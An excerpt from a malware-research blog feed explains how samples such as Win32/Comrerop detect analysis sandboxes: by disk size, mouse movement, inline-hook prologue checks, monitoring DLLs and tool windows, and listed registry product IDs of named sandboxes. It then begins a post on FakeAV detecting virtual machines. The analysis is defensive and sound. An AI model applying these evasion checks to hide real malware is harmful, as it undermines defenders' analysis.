&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS4Va3Ij4DEihaqeKcsUgeX3nalLBELDJs15LcTjZI-iCLPNuwrNr1t5N7Zj-euMXXHlHEDNd7aZX6Sy7sACoIB-1juL-cWm9uL8E2_uuJ3xH4yz6_jwpR8bdCLDqnxSR0JckN_7IS4zw/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS4Va3Ij4DEihaqeKcsUgeX3nalLBELDJs15LcTjZI-iCLPNuwrNr1t5N7Zj-euMXXHlHEDNd7aZX6Sy7sACoIB-1juL-cWm9uL8E2_uuJ3xH4yz6_jwpR8bdCLDqnxSR0JckN_7IS4zw/s1600/5.png&quot; height=&quot;222&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
And don&#39;t be surprised to see that Comodo sandbox helps this malware. Look at the analysis report &lt;a href=&quot;http://camas.comodo.com/cgi-bin/submit?file=8bfc413b7f6d2301421624f5762c48cbc300b1c63f5a019825c801c15eded93d&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&amp;nbsp;. Prevalent sandboxes like &lt;a href=&quot;http://www.threatexpert.com/&quot; target=&quot;_blank&quot;&gt;ThreatExpert&lt;/a&gt; can also &amp;nbsp;be traced using this simple mechanism.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Loaded modules and monitoring tools&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Sandboxes have their own monitoring DLLs that are used and loaded while processing the samples. Several malwares have been observed to check for these loaded DLLs specifc to respective sandboxes. It can also check for the installed monitoring tools used to capture the end to end behaviour of the malwares. Here is the code snippet from Win32/Comrerop performing similar checks:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTozcvqGDEpNJMgmIkbKSVmmx0_-SSZRnmwj3POPKailawy6YaKPRYcL1j-XBHBipct2ffwxE4Uey48vuPWHccSw5XKtxt1nH2WeLrPcEi-vRUR_4mCr3DDMD_5bVPHhSN_wz6OgXkXRI/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTozcvqGDEpNJMgmIkbKSVmmx0_-SSZRnmwj3POPKailawy6YaKPRYcL1j-XBHBipct2ffwxE4Uey48vuPWHccSw5XKtxt1nH2WeLrPcEi-vRUR_4mCr3DDMD_5bVPHhSN_wz6OgXkXRI/s1600/7.png&quot; height=&quot;287&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
More checks from the same malware searching for open windows of sysinternal tools / debugger :&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMTWzoInuhXUSSfSqiDAptYeTqF4AJ4wM4u-wGoAMVn932ouUp_I_UyZBH16EcyezPBrghdPuhrkzAcySYdkWPhXWvcYF7pvzkUbdd3y2ouR7t1gSSmyCXuimTkmiaA3Mx-Nv3WqQzrME/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMTWzoInuhXUSSfSqiDAptYeTqF4AJ4wM4u-wGoAMVn932ouUp_I_UyZBH16EcyezPBrghdPuhrkzAcySYdkWPhXWvcYF7pvzkUbdd3y2ouR7t1gSSmyCXuimTkmiaA3Mx-Nv3WqQzrME/s1600/1.png&quot; height=&quot;357&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;Checking Hard Disk size&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #6aa84f; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;This technique is very well documented and has been observed in several recent malwares. The idea behind this logic is to obtain the handle to the physical drive using CreateFileA ( ) API and then use this handle to pass it to the device driver using DeviceIoControl ( ) API to perform the operation specified by IoControlCode. Malware using this mechanism with IoControlCode of 0x7045c is most likely performing the HD size check . If the Hard Disk size is &amp;lt; 10 GB , malware presumes that it is running under the sandbox.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZtUY-Ai6d-0nTXmaxOmfKKsgl1_MnSMPhsGP9ywI11EKNZkHcfj93CHfDHFdBnQ8K8_2Wy6b8r75D0ZyUNZzJaVgGUiw-UeigdhRMWFilycIQ9VexSuj314y69fD8nvQ1ck5dP6zXrL4/s1600/15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZtUY-Ai6d-0nTXmaxOmfKKsgl1_MnSMPhsGP9ywI11EKNZkHcfj93CHfDHFdBnQ8K8_2Wy6b8r75D0ZyUNZzJaVgGUiw-UeigdhRMWFilycIQ9VexSuj314y69fD8nvQ1ck5dP6zXrL4/s1600/15.png&quot; height=&quot;191&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
IoControlCode 0x7045c stands for&amp;nbsp;IOCTL_DISK_GET_LENGTH_INFO , which retrieves the length of the specified disk, volume or partition. Below is the HD size check in the malware code:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv1YNKHxJ8RYCkF_flB2Y0SDhCZtOqzq4RZCOONcHQ9bH8K2DKm6tbivteiCjkgzvxb6B9-bjrdKojGs3iGacQAx31GKqukk876WR-BrTHHSOLsTtOyi4-bNoeJEWDgPTjFoFUs9a8ZQw/s1600/HD_Size.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv1YNKHxJ8RYCkF_flB2Y0SDhCZtOqzq4RZCOONcHQ9bH8K2DKm6tbivteiCjkgzvxb6B9-bjrdKojGs3iGacQAx31GKqukk876WR-BrTHHSOLsTtOyi4-bNoeJEWDgPTjFoFUs9a8ZQw/s1600/HD_Size.png&quot; height=&quot;123&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This actually makes sense because it is rare to have the sandbox machines with the larger HD size .&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Tracing mouse movements&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #6aa84f; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Tracing the mouse movements is one of most effective way of differentiating the sandbox and easier to implement as well. Mouse movement check basically involves checking for the cursor position and then substracting the coordinates to check if the mouse has moved. GetCursorPos ( ) API is called twice to check for the cursor movement . Since there is no input device connected to the sandbox machines, it can trace almost all the sandboxes.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuvlUXd8h4LItxlT70ocgHHf4gwYiZXPqtRn62lm8y0qHJusK8n9rOj6j6K0hv8L03CfIcUACOQqtPuuEGi7dMyRN-mflIa7fDnYuh6FrQY_43RpZIlEOi0-BzlRRvV602dxD2dEVfhfo/s1600/cursor.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuvlUXd8h4LItxlT70ocgHHf4gwYiZXPqtRn62lm8y0qHJusK8n9rOj6j6K0hv8L03CfIcUACOQqtPuuEGi7dMyRN-mflIa7fDnYuh6FrQY_43RpZIlEOi0-BzlRRvV602dxD2dEVfhfo/s1600/cursor.png&quot; height=&quot;260&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Sandboxes can be protected against this technique by intercepting the call and randomizing the coordinate values.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Ring 3 hook detection&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Sandboxes significantly rely on the API hooks to be able to trace the activity of the malware. Ring 3 hooks are the user space hooks that can be easily implemented via modifying the initial instructions of the API code within the mapped DLL and pointing it to the hooked code. Several available sandboxing technology including Cuckoo , employs the similar techniques to log the APIs called by malware . Malware authors are very well aware of this and take the advantage of this implementation by detecting them. One of the simplest detection method is to get the virtual address of the API and check if that does not start with the standard prologue. If code starts with Jump/Call instruction , then it indicates that API has been hooked which leads to the conclusion that code is being executed in the sandbox . Here is the example code that attempts to detect the user mode inline hooks.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuCSOs1Ouo9pXpTjkcCCSiAFxa6wI2kNKq9Ds4wImAFLmE5W6VCzTa5pVrnHobW7OR1MWZ1WnnzXng4yWTb02tQIpDWyZRHCDZ5cGN_aaXPj9tzXPT96VyCDNQuxF39B1OioXVRfZosE4/s1600/hook.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuCSOs1Ouo9pXpTjkcCCSiAFxa6wI2kNKq9Ds4wImAFLmE5W6VCzTa5pVrnHobW7OR1MWZ1WnnzXng4yWTb02tQIpDWyZRHCDZ5cGN_aaXPj9tzXPT96VyCDNQuxF39B1OioXVRfZosE4/s1600/hook.png&quot; height=&quot;111&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
One of the way malwares tend subvert the user space hooks is to implement the custom loader and map the desired DLL in the process address space perhaps using a different name, and then get API address using the standard GetprocAddress mechanism . More sophisticated approach for the malwares could be to drop the kernel drivers which implements the required code using the lower level APIs and then user space components calling them , which will essentially bypass the sandbox hooking framework .&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;Sandbox detection using known product IDs&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;This is the another popular and easy to implement sandbox detection technique used by several recent malwares including Win32/Gamarue,Win32/Comrerop etc . Every commercial sandbox has its own associated Windows product ID that can be fetched from the registry key and matched against the blacklisted product IDs. Calliing the API RegQueryValueEx ( ) on the following registry keys will extract the respective product IDs :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\\ProductID&lt;br /&gt;
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\\ProductID&lt;br /&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
API trace for one of the sample trying to access the product ID:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCQie8jxJgqDxfdjcc4e6t6e-35uv6K19QIEa9g45Ifqa9DAhrpV3_emsOCjA3LobyAq5GKWcjl0xRNoWBL4wApg2uqZ67AZu0ez3s4oTjJmOTTeui1GGkjP0CAtA8ypCt6cPgCyijfc/s1600/product_id.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCQie8jxJgqDxfdjcc4e6t6e-35uv6K19QIEa9g45Ifqa9DAhrpV3_emsOCjA3LobyAq5GKWcjl0xRNoWBL4wApg2uqZ67AZu0ez3s4oTjJmOTTeui1GGkjP0CAtA8ypCt6cPgCyijfc/s1600/product_id.png&quot; height=&quot;82&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following is the list of some of the known product IDs and associated with their respective sandboxes:&lt;br /&gt;
&lt;br /&gt;
Anubis :&lt;br /&gt;
product ID :76487-337-8429955-22614&lt;br /&gt;
&lt;br /&gt;
CWsandbox :&lt;br /&gt;
Product ID :76487-644-3177037-23510&lt;br /&gt;
&lt;br /&gt;
JoeBox :&lt;br /&gt;
Product ID :55274-640-2673064-23950&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
However, more focused commercial sandboxes are now well conscious about the product IDs being used against them and either deny the access to the registry key or respond with the randomized value.&lt;br /&gt;
&lt;br /&gt;
I&#39;ll keep rest of the techniques of evading sandboxes to my next blog.We&#39;ll walk though few of them used in the recent targeted attacks. Stay tuned !!..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/09/evading-sandboxes-into-loopholes-of.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitHCG0s9025dBWcm8OqFiyJMmaM8rRHxPhhBD0u5toSMammSfZHcXI2xcNxTofAlvF1WNtUmIfc4QRN2dGQ8Sg1BhExuIhC6TiRRJ9dfMmLDm8ai6SodyKYy_rbu-rsco4oFeDisI3QfI/s72-c/sleep.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-6480353910639233108</guid><pubDate>Tue, 29 Jul 2014 07:25:00 +0000</pubDate><atom:updated>2014-07-29T17:50:16.024+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><title>Trojan.FakeAV Uses Unprecedented APIs To Detect Virtualized Environment ..Pretty cool stuff ..!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
With the ever changing facets and trends of the Cyber attacks , Sandboxing technology using virtual machines has become the inevitable tool for researchers to analyze the behaviour of the malwares in abbreviated period of time. With the huge inflow of the samples , sandboxes based on virtualized environment is another premier tool in the armoury. Sandboxing provides the isolated setup which can execute the malware binaries within , without effecting the underneath host resources . This can help researchers quickly analyze and locate the malicious behaviour of the sample and produce the heuristic / behavioural signatures .&lt;br /&gt;
&lt;br /&gt;
But there are two sides of the every coin . Sandboxes usually leaves too many traces and evidences into the system to make itself a completely imperceptible environment. Malware authors tend to come out with the innovative methods to detect the virtualized / sandboxing territory and cease to execute the moment they discover it. Subsequently, obscuring the setup has become very significant when they are builded to execute tons of malwares.&lt;br /&gt;
&lt;br /&gt;
There have been several researched and documented methods of distinguishing the sandbox area . For instance , traditionally , malwares use to search for the known artifacts like running process , registry keys , file systems for noticing the sandbox . These methods are easily noticeable by the researchers. Today , Advance persistent threats and targeted attacks tend to wait for the human interaction with the system to activate the malicious code . Since automated malware analysis frameworks process millions of samples per day , human interaction is bare minimal and malwares does not replicate as a result. One of the very interesting papers that has been published and presented by FireEye researchers &lt;a href=&quot;http://www.fireeye.com/resources/pdfs/fireeye-hot-knives-through-butter.pdf&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt; , documents bunch of interesting techniques to perceive the sandbox.&lt;br /&gt;
&lt;br /&gt;
Few days back , I was researching a malware that showed a lot of behaviour on the physical system and other sandboxes but refused to execute on the vmware . I was pretty keen to figure out what exactly it did . Eventually , after a session of debugging , I was able to determine that it accessed the registry key to detect if it was running under VMware , Vbox and Qemu but the interesting aspect was it never used the known registry APIs . If we look at the imports of the binary :&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8B2A32h_1mLvdqlbvocmA4UGmhJHT5Igfnstb0kf6DUTCsD7YqltkF8o-xylYdw6dmBSbc61UtkvGde_KvxE8L4n8cEkT4mnC0OoxVYgwgUtM_fbL9od8Zs2mfKR2zqV5F_P_2L8H3kA/s1600/vm-1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8B2A32h_1mLvdqlbvocmA4UGmhJHT5Igfnstb0kf6DUTCsD7YqltkF8o-xylYdw6dmBSbc61UtkvGde_KvxE8L4n8cEkT4mnC0OoxVYgwgUtM_fbL9od8Zs2mfKR2zqV5F_P_2L8H3kA/s1600/vm-1.png&quot; height=&quot;250&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Malware importing device APIs&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If we look at the nature of the APIs that is imported by the malware , experienced eyes can make an educated guess. These are the device APIs , though very seldomly used , but can fetch you the properties of the underlying device / hardware . &amp;nbsp;Malware trying to extract the device properties is most likely performing environment checks.&lt;br /&gt;
&lt;br /&gt;
